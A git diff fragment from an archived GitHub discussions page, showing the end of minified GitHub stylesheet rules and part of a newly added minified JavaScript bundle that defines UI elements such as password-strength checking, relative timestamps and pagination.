.secure{float:right;margin-top:2px;font-size:12px;color:var(--color-success-fg);text-transform:uppercase}.setup-form-container hr{margin-top:24px;margin-bottom:24px}.setup-form-container .form-actions{padding-top:0;padding-bottom:0;text-align:left}.team-member-container{margin-bottom:16px}.team-member-container .team-member-username{line-height:1.2}.setup-form{padding-bottom:16px}.setup-form .form-group.successed .error{display:none}.setup-form .form-group dd .form-control{width:100%}.setup-form .form-group dd .form-control.short{width:250px}.setup-form dd{position:relative}.setup-form dd .octicon{position:absolute;top:8px;right:25px}.setup-form .octicon-alert{color:var(--color-danger-fg)}.setup-form .octicon-check{color:var(--color-success-fg)}.setup-form .tos-info,.setup-form .setup-organization-next{margin:16px 0;border-top:1px solid var(--color-border-muted);border-bottom:1px solid var(--color-border-muted)}.setup-form .tos-info{padding:16px 0}.setup-form .setup-organization-next{padding-top:16px;padding-bottom:16px}.setup-form .setup-plans{border-collapse:separate;border:1px solid var(--color-border-default)}.setup-form .setup-plans tr.selected{background-color:var(--color-accent-subtle)}.setup-form .setup-plans .name{font-weight:600}.setup-form .setup-plans .choose-plan input[type=radio]{display:none}.setup-creditcard-form .country-form,.setup-creditcard-form .state-form{float:left;margin:0;word-wrap:normal}.setup-creditcard-form .country-form,.setup-creditcard-form .postal-code-form{margin-top:0;margin-bottom:16px}.setup-creditcard-form .form-group select.select-country{width:182px;margin-right:4px}.setup-creditcard-form .form-group select:invalid{color:var(--color-fg-muted)}.setup-creditcard-form .form-group select.select-state{width:113px}.setup-creditcard-form .form-group .input-vat{width:288px}.setup-creditcard-form .form-group input.input-postal-code{width:180px}.setup-creditcard-form.is-vat-country .vat-field{display:block}.setup-creditcard-form.is-international .form-group select.select-country{width:300px}.setup-creditcard-form.is-international .state-form{display:none}.setup-creditcard-form.no-postcodes .postal-code-form{display:none}.setup-creditcard-form dd .octicon-credit-card{position:inherit}.setup-creditcard-form .vat-field{display:none}.setup-creditcard-form .vat-field.prefilled{display:block}.setup-creditcard-form .help-text{font-size:80%;font-weight:400;color:var(--color-fg-muted)}.user-identification-questions{float:none;width:auto;margin-top:40px}.user-identification-questions .question{margin-bottom:32px}.user-identification-questions .response-group label{font-weight:400}.user-identification-questions .form-checkbox{margin:8px 0}.user-identification-questions .disclaimer{margin:40px 0 0;text-align:center}.user-identification-questions.redesign .question{margin-bottom:96px}.user-identification-questions.redesign .topic-input-container .tag-input{width:100%;border:0;border-bottom:6px solid #000;box-shadow:0 0 0}.signup-plan-summary-subhead{border-bottom:6px solid}.signup-btn:disabled{opacity:.5 !important}.collection-search-results em{padding:.1em;background-color:#faffa6}.draft-tag{padding:4px 8px;font-weight:600;color:#eee;background-color:#404040}.showcase-page-pattern{position:relative;z-index:-1;height:100px;margin-top:-24px;margin-bottom:-70px}.showcase-page-pattern::after{position:absolute;top:0;right:0;bottom:0;left:0;display:block;content:"";background-image:linear-gradient(180deg, rgba(255, 255, 255, 0.85), white)}.showcase-page-repo-list{border-top:1px solid var(--color-border-muted)}.slash-command-menu-item .command-description{color:var(--color-fg-muted)}.slash-command-menu-item[aria-selected=true]{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.slash-command-menu-item[aria-selected=true] .command-description{color:var(--color-fg-on-emphasis)}.modal-anchor::before{position:fixed;top:0;right:0;bottom:0;left:0;z-index:99;display:block;cursor:default;content:" ";background:var(--color-primer-canvas-backdrop)}.sortable-button-item:first-of-type .sortable-button[data-direction=up],.sortable-button-item:last-of-type .sortable-button[data-direction=down]{display:none}@keyframes sponsors-progress-animation{0%{background-position:100%}100%{background-position:0%}}@keyframes circle-progress{0%{stroke-dasharray:0 100}}.sponsors-funded-dependencies-percent-circle-bg,.sponsors-funded-dependencies-percent-circle{fill:none;stroke-width:3;stroke-linecap:round}.sponsors-funded-dependencies-percent-circle-bg{stroke:var(--color-done-subtle)}.sponsors-funded-dependencies-percent-circle{animation:circle-progress 1s ease-out forwards}.sponsors-goal-progress-bar{background:#ec6cb9;transition:width .5s ease-in}@media(prefers-reduced-motion: no-preference){.sponsors-goal-progress-bar:hover{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goal-completed-bar{background:linear-gradient(90deg, #ffd33d 0%, #ea4aaa 17%, #b34bff 34%, #01feff 51%, #ffd33d 68%, #ea4aaa 85%, #b34bff 100%);background-size:300% 100%}@media(prefers-reduced-motion: no-preference){.sponsors-goal-completed-bar{transition:width .5s ease-in;animation:sponsors-progress-animation 2s linear infinite}}.sponsors-goals-avatar-border{background-color:var(--color-canvas-default);border:1px solid var(--color-fg-on-emphasis)}.sponsors-goals-heart-anim{width:100px;height:100px;cursor:pointer;background:url("/images/modules/site/sponsors/heart-explosion.png") no-repeat;background-position:0 0;background-size:600px 100px;transition:background-position .3s steps(5);transition-duration:0s}.sponsors-goals-heart-anim.is-active{background-position:-500px 0;transition-duration:.3s}.open>.sponsors-foldable{max-height:700px}.open .sponsors-foldable-opened{display:block}.open .sponsors-foldable-closed{display:none}.sponsors-foldable{max-height:0;box-sizing:border-box;overflow-y:auto;transition:max-height .25s ease-in-out}.sponsors-foldable-opened{display:none}.sponsors-foldable-closed{display:block}.sponsor-card{width:100%;height:450px;border:0}@media(min-width: 544px){.sponsor-card{height:260px}}.sponsor-cell{padding:8px;vertical-align:middle;border-right:1px solid var(--color-neutral-muted);border-bottom:1px solid var(--color-neutral-muted)}.sponsor-cell:first-child{width:45px;padding-left:32px;border-right-width:0}.sponsor-cell:last-child{padding-left:8px;border-right-width:0}.sponsor-header-cell{padding-right:16px;font-weight:600;text-align:left;border-top:1px solid var(--color-neutral-muted)}.sponsor-row-number{color:var(--color-fg-subtle)}@media(prefers-reduced-motion: no-preference){.tier-category:hover .tier-emoji{animation:wiggle .1s alternate;animation-timing-function:ease;animation-delay:.1s;animation-iteration-count:4}}@keyframes wiggle{0%{transform:rotate(-25deg)}100%{transform:rotate(15deg) scale(1.2)}}.sponsors-featured-item{width:100%}@media(min-width: 768px){.sponsors-featured-item{width:calc(50% - 8px)}}.tab-size[data-tab-size="1"]{-moz-tab-size:1;tab-size:1}.tab-size[data-tab-size="2"]{-moz-tab-size:2;tab-size:2}.tab-size[data-tab-size="3"]{-moz-tab-size:3;tab-size:3}.tab-size[data-tab-size="4"]{-moz-tab-size:4;tab-size:4}.tab-size[data-tab-size="5"]{-moz-tab-size:5;tab-size:5}.tab-size[data-tab-size="6"]{-moz-tab-size:6;tab-size:6}.tab-size[data-tab-size="7"]{-moz-tab-size:7;tab-size:7}.tab-size[data-tab-size="8"]{-moz-tab-size:8;tab-size:8}.tab-size[data-tab-size="9"]{-moz-tab-size:9;tab-size:9}.tab-size[data-tab-size="10"]{-moz-tab-size:10;tab-size:10}.tab-size[data-tab-size="11"]{-moz-tab-size:11;tab-size:11}.tab-size[data-tab-size="12"]{-moz-tab-size:12;tab-size:12}.team-label-ldap{display:inline-block;padding:0 8px;line-height:25px;color:var(--color-fg-muted);text-transform:uppercase;cursor:default;border:1px solid var(--color-border-muted);border-radius:6px;box-shadow:none}.team-label-ldap.header-label-ldap{padding:4px 4px}.team-member-ellipsis{width:25px;height:25px;line-height:24px}.team-member-ellipsis:hover{color:var(--color-accent-fg);background:var(--color-canvas-subtle)}.team-listing .nested-teams-checkbox{padding-left:4px}.team-listing .nested-teams-checkbox.show{padding-right:12px}.team-listing .nested-teams-checkbox.indent-1{padding-left:30px}.team-listing .nested-teams-checkbox.indent-2{padding-left:54px}.team-listing .nested-teams-checkbox.indent-3{padding-left:78px}.team-listing .nested-teams-checkbox.indent-4{padding-left:102px}.team-listing .nested-teams-checkbox.indent-5{padding-left:126px}.team-listing .nested-teams-checkbox.indent-6{padding-left:150px}.team-listing .nested-teams-checkbox.indent-7{padding-left:174px}.team-listing .nested-teams-checkbox.indent-8{padding-left:198px}.team-listing .nested-teams-checkbox.indent-9{padding-left:222px}.team-listing .nested-teams-checkbox.indent-10{padding-left:246px}.team-listing .nested-teams-checkbox.indent-11{padding-left:270px}.team-listing .nested-teams-checkbox.indent-12{padding-left:294px}.team-listing .nested-teams-checkbox.indent-13{padding-left:318px}.team-listing .nested-teams-checkbox.indent-14{padding-left:342px}.team-listing .nested-teams-checkbox.indent-15{padding-left:366px}.team-listing .team-info{width:280px}.team-listing .team-short-info{width:170px}.team-listing .nested-team-info{width:650px}.team-listing .nested-team-name{max-width:268px}.team-listing .shortened-teams-avatars{margin-left:auto}.team-listing .shortened-teams-avatars.width-0{width:300px}.team-listing .shortened-teams-avatars.width-1{width:233px}.team-listing .shortened-teams-avatars.width-2{width:167px}.team-listing .shortened-teams-avatars.width-3{width:99px}.team-listing .team-members-count{width:124px}.team-listing .team-show-more-cell{width:980px}.team-listing .team-buttons{width:150px}.team-listing .octicon-wrapper{width:16px}.team-listing .is-open.root-team{background-color:var(--color-canvas-subtle)}.team-listing .is-open .expand-nested-team{font-weight:600}.team-listing .is-open .octicon-chevron-down{transform:rotate(180deg)}.traffic-graph{min-height:150px}.traffic-graph .activity{margin-top:0}.traffic-graph .activity .dots{margin-top:40px}.traffic-graph .path{fill:none;stroke-width:2}.traffic-graph path.total{stroke:var(--color-success-emphasis)}.traffic-graph path.unique{stroke:var(--color-accent-emphasis)}.traffic-graph .axis.x .tick:first-of-type line{stroke:var(--color-success-emphasis);stroke-width:2px}.traffic-graph .y line{stroke:var(--color-success-emphasis)}.traffic-graph .y.unique line{stroke:var(--color-accent-emphasis)}.traffic-graph .overlay{fill-opacity:0}.uniques-graph .axis.x .tick:last-child line{stroke:var(--color-accent-emphasis);stroke-width:2px}.svg-tip .date{color:var(--color-fg-on-emphasis)}.top-domains .dots{display:block;margin:167px auto 0}table.capped-list{width:100%;line-height:100%}table.capped-list th{padding:8px;text-align:left;background:var(--color-canvas-subtle);border-bottom:1px solid var(--color-border-default)}table.capped-list td{padding:8px;font-size:12px;vertical-align:middle;border-bottom:1px solid var(--color-border-muted)}table.capped-list th.middle,table.capped-list td.middle{text-align:center}table.capped-list .favicon{width:16px;height:16px;margin:0 4px;vertical-align:middle}table.capped-list .octicon{margin-right:8px;color:var(--color-fg-muted);vertical-align:-3px}table.capped-list tr:nth-child(even){background-color:var(--color-canvas-subtle)}.capped-list-label{max-width:200px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.traffic-graph-stats .summary-stats{width:100%}.traffic-graph-stats .summary-stats::before{display:table;content:""}.traffic-graph-stats .summary-stats::after{display:table;clear:both;content:""}.traffic-graph-stats .summary-stats li{display:block;float:left;width:50%}.totals circle{fill:var(--color-success-emphasis);stroke:var(--color-canvas-default);stroke-width:2}.uniques circle{fill:var(--color-accent-emphasis);stroke:var(--color-canvas-default);stroke-width:2}ul.web-views li{width:140px}ul.clones li{width:170px}.TrackingBlock .TrackingBlock-list{padding-left:0}.TrackingBlock-item:hover{background-color:var(--color-canvas-inset)}.TrackingBlock-omnibar{display:flex;align-items:stretch;width:100%;border-radius:6px}.TrackingBlock-omnibar:hover .TrackingBlock-omnibar-inputElement{background:var(--color-action-list-item-default-hover-bg);outline:1px solid var(--color-border-default)}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement{background:var(--color-canvas-default);border-color:var(--color-border-default);border-radius:6px 0 0 6px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputElement:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.TrackingBlock-omnibar:focus-within .TrackingBlock-omnibar-inputButton{display:inline-block}.TrackingBlock [data-disabled] .TrackingBlock-omnibar{background-color:var(--color-canvas-subtle)}.TrackingBlock [data-disabled] .TrackingBlock-omnibar:hover{outline:none !important}.TrackingBlock-omnibar-inputWrapper{position:relative;flex:1}.TrackingBlock-omnibar-inputWrapper .octicon{position:absolute;margin:8px;color:var(--color-fg-muted);pointer-events:none}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement{display:inline-block;width:100%;height:32px;background:transparent;border-color:transparent;border-style:solid;border-width:1px;border-radius:6px;padding-block:4px;padding-inline-start:32px;padding-inline-end:8px}.TrackingBlock-omnibar-inputWrapper .TrackingBlock-omnibar-inputElement:focus{background:var(--color-canvas-default);border-color:var(--color-accent-fg);border-radius:6px 0 0 6px}.TrackingBlock-omnibar .TrackingBlock-omnibar-inputButton{display:none;border-radius:0 6px 6px 0}.tracking-block-item-dropdown{top:4px;right:4px;padding:0 4px;margin-right:8px}.tracking-block-item-dropdown .dropdown-menu::before,.tracking-block-item-dropdown .dropdown-menu::after{display:none}.TrackingBlock-item:hover .dropdown-details-button{z-index:20;width:auto;height:auto;overflow:visible;clip:auto}.TrackingBlock-item:hover .dropdown-details-button svg{overflow:visible}.typeahead-result{position:relative;display:block;min-width:100%;padding:8px;margin-top:0;color:var(--color-fg-default);cursor:pointer}.typeahead-result::before{display:table;content:""}.typeahead-result::after{display:table;clear:both;content:""}.typeahead-result:first-child{border-top:0}.typeahead-result:focus,.typeahead-result:hover,.typeahead-result[aria-selected=true],.typeahead-result.navigation-focus{text-decoration:none}.typeahead-result[aria-selected=true],.typeahead-result:hover,.typeahead-result.navigation-focus{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.typeahead-result[aria-selected=true] .octicon-plus,.typeahead-result:hover .octicon-plus,.typeahead-result.navigation-focus .octicon-plus{color:var(--color-fg-on-emphasis)}.typeahead-result.disabled{pointer-events:none;opacity:.5}.member-suggestion{padding-left:44px}.member-suggestion .avatar{float:left;margin-right:8px;margin-left:-32px}.member-suggestion .member-suggestion-info{width:90%;margin-top:2px;margin-bottom:0;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.member-suggestion .member-name{font-size:12px;color:var(--color-fg-muted)}.member-suggestion .member-email{margin-top:0;margin-bottom:0}.member-suggestion .octicon-plus,.member-suggestion .octicon-check{position:absolute;top:50%;right:15px;margin-top:-8px;color:var(--color-fg-muted)}.member-suggestion .already-member-note,.member-suggestion .non-member-note,.member-suggestion .non-member-action{margin-top:0;margin-bottom:0;color:var(--color-fg-muted)}.member-suggestion .non-member-action{display:none}.member-suggestion[aria-selected=true] .member-name,.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion[aria-selected=true] .already-member-note,.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion[aria-selected=true] .member-email,.member-suggestion:hover .member-name,.member-suggestion:hover .non-member-note,.member-suggestion:hover .already-member-note,.member-suggestion:hover .non-member-action,.member-suggestion:hover .member-email,.member-suggestion.navigation-focus .member-name,.member-suggestion.navigation-focus .non-member-note,.member-suggestion.navigation-focus .already-member-note,.member-suggestion.navigation-focus .non-member-action,.member-suggestion.navigation-focus .member-email{color:var(--color-fg-on-emphasis)}.member-suggestion[aria-selected=true] .non-member-note,.member-suggestion:hover .non-member-note,.member-suggestion.navigation-focus .non-member-note{display:none}.member-suggestion[aria-selected=true] .non-member-action,.member-suggestion:hover .non-member-action,.member-suggestion.navigation-focus .non-member-action{display:block}.member-suggestion[aria-selected=true] .octicon,.member-suggestion:hover .octicon,.member-suggestion.navigation-focus .octicon{color:var(--color-fg-on-emphasis)}.member-suggestion.not-a-member .member-info,.member-suggestion.disabled .member-info{margin-top:-2px}.non-member-result{padding-left:32px}.email-suggestion{padding-left:32px}.email-suggestion .octicon-mail{margin-left:-16px;color:var(--color-fg-muted)}.email-suggestion .member-suggestion-info{margin-top:1px}.repo-access-add-team .team-name{font-size:14px}.repo-access-add-team .team-description{display:block}.repo-access-add-team .team-size,.repo-access-add-team .team-description{font-size:12px;color:var(--color-fg-muted)}.repo-access-add-team[aria-selected=true] .team-size,.repo-access-add-team[aria-selected=true] .team-description,.repo-access-add-team.navigation-focus .team-size,.repo-access-add-team.navigation-focus .team-description{color:var(--color-fg-on-emphasis)}#user-content-toc{overflow:visible}#user-content-toc tr{border-top:0}#user-content-toc td{padding:0 16px;background-color:var(--color-canvas-subtle);border:0;border-radius:6px}#user-content-toc ul{padding-left:0;font-weight:600;list-style:none}#user-content-toc ul li{padding-left:.2em}#user-content-toc ul ul{font-weight:400}#user-content-toc ul ul li::before{float:left;margin-top:-0.2em;margin-right:.2em;font-size:1.2em;line-height:1;color:var(--color-fg-muted);content:"⌞"}#user-content-toc ul ul ul{padding-left:.9em}#user-content-toctitle h2{margin-top:1em;margin-bottom:.5em;font-size:1.25em;border-bottom:0}.user-list-info{min-height:48px;padding:0;font-size:16px;font-weight:400;line-height:20px}.WorkflowJob-deployment-progress .Progress{background:none}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-complete{background-color:var(--color-workflow-card-progress-complete-bg) !important}.WorkflowJob-deployment-progress .WorkflowJob-deployment-progress-incomplete{background-color:var(--color-workflow-card-progress-incomplete-bg) !important}.WorkflowJob{padding:12px;transition:opacity ease-out .12s}.WorkflowJob-title{height:20px;line-height:20px}.WorkflowJob-title::after{position:absolute;top:0;right:0;bottom:0;left:0;content:""}.MatrixComponent-pending{padding:12px;transition:opacity ease-out .12s}.MatrixComponent-collapse--title{line-height:20px}.actions-workflow-table.sticky th{position:sticky;top:0;z-index:1;background-color:var(--color-primer-canvas-sticky)}.actions-workflow-table th{height:auto;line-height:44px;text-align:left}.actions-workflow-table td{height:64px;padding-top:12px;padding-bottom:12px;line-height:20px}.actions-workflow-table td.compact{height:48px}.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:16px}@media(min-width: 768px){.actions-workflow-table th:first-child,.actions-workflow-table td:first-child{padding-left:20px}}.actions-workflow-table th:last-child,.actions-workflow-table td:last-child{padding-right:20px}@media(max-width: 768px){.actions-fullwidth-module{position:relative;margin-right:-16px !important;margin-left:-16px !important;border-right:0 !important;border-left:0 !important}.actions-fullwidth-module.actions-fullwidth-module{border-radius:0 !important}.actions-fullwidth-module::after{position:absolute;right:0;bottom:-17px;left:0;z-index:0;height:16px;content:"";background-color:var(--color-canvas-subtle)}}.annotation--contracted div:first-child{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.annotation--expanded div:first-child{word-break:break-word;white-space:pre-wrap}.enterprise-settings .field-with-errors{min-width:0;padding:0} + +/*# sourceMappingURL=github-e2412376f390.css.map*/ \ No newline at end of file diff --git a/archive/Discussions · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js new file mode 100644 index 0000000..9257d62 --- /dev/null +++ b/archive/Discussions · Ta180m_Idiot-Code-Golf_files/github-elements-8b41dad63765.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var se=Object.defineProperty;var a=(B,P)=>se(B,"name",{value:P,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["github-elements"],{47486:(B,P,m)=>{var b=m(71544),L=m(38257),y=m(14840),p=m(57260),E=m(13002),I=m(73921),D=m(27034),_=m(51941),d=m(88309),o=m(40987),h=m(57852),f=m(88823);window.IncludeFragmentElement.prototype.fetch=s=>(s.headers.append("X-Requested-With","XMLHttpRequest"),window.fetch(s));var c=m(99254),l=m(90420),w=Object.defineProperty,C=Object.getOwnPropertyDescriptor,A=a((s,t,e,n)=>{for(var i=n>1?void 0:n?C(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&w(t,e,i),i},"__decorateClass");let W=a(class extends HTMLElement{updateURL(s){const t=s.currentTarget,e=t.getAttribute("data-url")||"";if(this.helpField.value=e,t.matches(".js-git-protocol-clone-url"))for(const n of this.helpTexts)n.textContent=e;for(const n of this.cloneURLButtons)n.classList.remove("selected");t.classList.add("selected")}},"GitCloneHelpElement");A([l.fA],W.prototype,"helpField",2),A([l.GO],W.prototype,"helpTexts",2),A([l.GO],W.prototype,"cloneURLButtons",2),W=A([l.Ih],W);var q=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"__accessCheck"),z=a((s,t,e)=>(q(s,t,"read from private field"),e?e.call(s):t.get(s)),"__privateGet"),U=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"__privateAdd"),k=a((s,t,e,n)=>(q(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"__privateSet"),M,S,H,G;function dt(s,t){const e=[];let n=0;for(let i=0;ithis.handleEvent()))}handleEvent(){z(this,G)&&cancelAnimationFrame(z(this,G)),k(this,G,requestAnimationFrame(()=>this.mark()))}disconnectedCallback(){var t;(t=this.ownerInput)==null||t.removeEventListener("input",this),z(this,H).disconnect()}mark(){const t=this.textContent||"",e=this.query;if(t===z(this,M)&&e===z(this,S))return;k(this,M,t),k(this,S,e),z(this,H).disconnect();let n=0;const i=document.createDocumentFragment();for(const r of(this.positions||dt)(e,t)){if(Number(r)!==r||rt.length)continue;t.slice(n,r)!==""&&i.appendChild(document.createTextNode(t.slice(n,r))),n=r+1;const g=document.createElement("mark");g.textContent=t[r],i.appendChild(g)}i.appendChild(document.createTextNode(t.slice(n))),this.replaceChildren(i),z(this,H).observe(this,{attributes:!0,childList:!0,subtree:!0})}}a(Y,"MarkedTextElement"),M=new WeakMap,S=new WeakMap,H=new WeakMap,G=new WeakMap,Y.observedAttributes=["query","data-owner-input"];const j=null;window.customElements.get("marked-text")||(window.MarkedTextElement=Y,window.customElements.define("marked-text",Y));var tt=m(52641);class N extends HTMLElement{connectedCallback(){this.addEventListener("input",bt)}disconnectedCallback(){this.removeEventListener("input",bt)}}a(N,"PasswordStrengthElement"),window.customElements.get("password-strength")||(window.PasswordStrengthElement=N,window.customElements.define("password-strength",N));function bt(s){const t=s.currentTarget;if(!(t instanceof N))return;const e=s.target;if(!(e instanceof HTMLInputElement))return;const n=e.form;if(!(n instanceof HTMLFormElement))return;const i=ht(e.value,{minimumCharacterCount:Number(t.getAttribute("minimum-character-count")),passphraseLength:Number(t.getAttribute("passphrase-length"))});if(i.valid){e.setCustomValidity("");const r=t.querySelector("dl.form-group");r&&(r.classList.remove("errored"),r.classList.add("successed"))}else e.setCustomValidity(t.getAttribute("invalid-message")||"Invalid");Nt(t,i),(0,tt.G)(n)}a(bt,"onInput");function ht(s,t){const e={valid:!1,hasMinimumCharacterCount:s.length>=t.minimumCharacterCount,hasMinimumPassphraseLength:t.passphraseLength!==0&&s.length>=t.passphraseLength,hasLowerCase:/[a-z]/.test(s),hasNumber:/\d/.test(s)};return e.valid=e.hasMinimumPassphraseLength||e.hasMinimumCharacterCount&&e.hasLowerCase&&e.hasNumber,e}a(ht,"validatePassword");function Nt(s,t){var e,n;const i=s.querySelector("[data-more-than-n-chars]"),r=s.querySelector("[data-min-chars]"),u=s.querySelector("[data-number-requirement]"),g=s.querySelector("[data-letter-requirement]"),T=((e=s.getAttribute("error-class"))==null?void 0:e.split(" ").filter(O=>O.length>0))||[],x=((n=s.getAttribute("pass-class"))==null?void 0:n.split(" ").filter(O=>O.length>0))||[];for(const O of[i,r,u,g])O==null||O.classList.remove(...T,...x);if(t.hasMinimumPassphraseLength&&i)i.classList.add(...x);else if(t.valid)r.classList.add(...x),u.classList.add(...x),g.classList.add(...x);else{const O=t.hasMinimumCharacterCount?x:T,J=t.hasNumber?x:T,It=t.hasLowerCase?x:T;i==null||i.classList.add(...T),r.classList.add(...O),u.classList.add(...J),g.classList.add(...It)}}a(Nt,"highlightPasswordStrengthExplainer");var ie=m(37211);class xt extends D.Z{async fetch(t,e=1e3){const n=await super.fetch(t);return n.status===202?(await new Promise(i=>setTimeout(i,e)),this.fetch(t,e*1.5)):n}}a(xt,"PollIncludeFragmentElement"),window.customElements.get("poll-include-fragment")||(window.PollIncludeFragmentElement=xt,window.customElements.define("poll-include-fragment",xt));var Ft=m(75329);class Lt extends Ft.nJ{connectedCallback(){mt.push(this),yt||(St(),yt=window.setInterval(St,1e3))}disconnectedCallback(){const t=mt.indexOf(this);t!==-1&&mt.splice(t,1),mt.length||(window.clearInterval(yt),yt=void 0)}getFormattedDate(){const t=this.date;if(!t)return;const e=new Date().getTime()-t.getTime(),n=Math.floor(e/1e3),i=Math.floor(n/60),r=Math.floor(i/60),u=Math.floor(r/24),g=n-i*60,T=i-r*60,x=r-u*24;return i<1?this.applyPrecision([`${n}s`]):r<1?this.applyPrecision([`${i}m`,`${g}s`]):u<1?this.applyPrecision([`${r}h`,`${T}m`,`${g}s`]):this.applyPrecision([`${u}d`,`${x}h`,`${T}m`,`${g}s`])}applyPrecision(t){const e=Number(this.getAttribute("data-precision")||t.length);return t.slice(0,e).join(" ")}}a(Lt,"PreciseTimeAgoElement");const mt=[];let yt;function St(){for(const s of mt)s.textContent=s.getFormattedDate()||""}a(St,"updateNowElements"),window.customElements.get("precise-time-ago")||(window.PreciseTimeAgoElement=Lt,window.customElements.define("precise-time-ago",Lt));var Rt=m(12981),Vt=m(56238),zt=Object.defineProperty,qt=Object.getOwnPropertyDescriptor,ft=a((s,t,e,n)=>{for(var i=n>1?void 0:n?qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&zt(t,e,i),i},"remote_pagination_element_decorateClass");let rt=a(class extends HTMLElement{constructor(){super(...arguments);this.loaderWasFocused=!1}connectedCallback(){this.setPaginationUrl(this.list)}get hasNextPage(){return!this.form.hidden}loadNextPage(){!this.hasNextPage||(0,Vt.Bt)(this.form)}get disabled(){return this.submitButton.hasAttribute("aria-disabled")}set disabled(s){s?this.submitButton.setAttribute("aria-disabled","true"):this.submitButton.removeAttribute("aria-disabled"),this.submitButton.classList.toggle("disabled",s)}loadstart(s){s.target.addEventListener("focus",()=>{this.loaderWasFocused=!0},{once:!0}),s.target.addEventListener("include-fragment-replaced",()=>{var t;this.setPaginationUrl(this.list),this.loaderWasFocused&&((t=this.focusMarkers.pop())==null||t.focus()),this.loaderWasFocused=!1},{once:!0})}async submit(s){var t;if(s.preventDefault(),this.disabled)return;this.disabled=!0;let e;try{const i=await fetch(this.form.action);if(!i.ok)return;e=await i.text()}catch{return}const n=(0,Rt.r)(document,e);this.setPaginationUrl(n),this.list.append(n),(t=this.focusMarkers.pop())==null||t.focus(),this.disabled=!1,this.dispatchEvent(new CustomEvent("remote-pagination-load"))}setPaginationUrl(s){const t=s.querySelector("[data-pagination-src]");if(!t)return;const e=t.getAttribute("data-pagination-src");e?(this.form.action=e,this.form.hidden=!1):this.form.hidden=!0}},"RemotePaginationElement");ft([l.fA],rt.prototype,"form",2),ft([l.fA],rt.prototype,"list",2),ft([l.GO],rt.prototype,"focusMarkers",2),ft([l.fA],rt.prototype,"submitButton",2),rt=ft([l.Ih],rt);var kt=m(10160);const jt=/\s|\(|\[/;function $t(s,t,e){const n=s.lastIndexOf(t,e-1);if(n===-1||s.lastIndexOf(" ",e-1)>n)return;const r=s[n-1];return r&&!jt.test(r)?void 0:{word:s.substring(n+t.length,e),position:n+t.length,beginningOfLine:Ut(r)}}a($t,"keyword");const Ut=a(s=>s===void 0||/\n/.test(s),"isBeginningOfLine"),Gt=["position:absolute;","overflow:auto;","word-wrap:break-word;","top:0px;","left:-9999px;"],Ht=["box-sizing","font-family","font-size","font-style","font-variant","font-weight","height","letter-spacing","line-height","max-height","min-height","padding-bottom","padding-left","padding-right","padding-top","border-bottom","border-left","border-right","border-top","text-decoration","text-indent","text-transform","width","word-spacing"],Ot=new WeakMap;function Kt(s,t){const e=s.nodeName.toLowerCase();if(e!=="textarea"&&e!=="input")throw new Error("expected textField to a textarea or input");let n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} 